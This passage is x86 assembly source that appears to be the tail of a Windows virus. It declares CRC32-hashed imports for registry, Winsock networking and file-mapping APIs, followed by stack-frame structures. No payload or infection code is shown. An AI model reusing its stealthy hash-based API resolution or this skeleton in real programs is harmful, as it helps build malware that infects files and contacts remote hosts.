crc32m <RegCreateKeyA>
|
|
crc32m <RegQueryValueExA>
|
|
crc32m <RegCloseKey>
|
|
dd 0
|
|
|
|
db 8
|
|
db "WSOCK32",0
|
|
crc32m <WSAStartup>
|
|
crc32m <socket>
|
|
crc32m <htons>
|
|
crc32m <gethostbyname>
|
|
crc32m <connect>
|
|
crc32m <closesocket>
|
|
crc32m <recv>
|
|
crc32m <send>
|
|
crc32m <WSACleanup>
|
|
dd 0
|
|
db 0
|
|
|
|
|
|
db "END"
|
|
|
|
apis:
|
|
|
|
GetWindowsDirectoryA dd ?
|
|
CloseHandle dd ?
|
|
ExitProcess dd ?
|
|
GlobalAlloc dd ?
|
|
GetModuleHandleA dd ?
|
|
GlobalFree dd ?
|
|
GetDateFormatA dd ?
|
|
GetTimeFormatA dd ?
|
|
Sleep dd ?
|
|
GetTickCount dd ?
|
|
CreateFileA dd ?
|
|
CreateFileMappingA dd ?
|
|
MapViewOfFile dd ?
|
|
|
|
|
|
RegCreateKeyA dd ?
|
|
|
|
RegQueryValueExA dd ?
|
|
RegCloseKey dd ?
|
|
|
|
|
|
WSAStartup dd ?
|
|
socket dd ?
|
|
htons dd ?
|
|
gethostbyname dd ?
|
|
connect dd ?
|
|
closesocket dd ?
|
|
recv dd ?
|
|
send dd ?
|
|
WSACleanup dd ?
|
|
|
|
|
|
|
|
totalend:
|
|
|
|
stackframe struc
|
|
|
|
createhandle dd ?
|
|
maphandle dd ?
|
|
viewhandle dd ?
|
|
addie db 48h dup (?)
|
|
|
|
stackframe ends
|
|
|
|
|
|
|
|
stack2 struc
|
|
|
|
regkeyhnd dd ?
|
|
sockaddr_in ssockaddr_in ?
|
|
buffer db 300h dup (?)
|
|
rnd32seed dd ?
|
|
;space WSADATA ?
|
|
ends
|
|
|
|
end start
|
|
end
|
|
|
|
|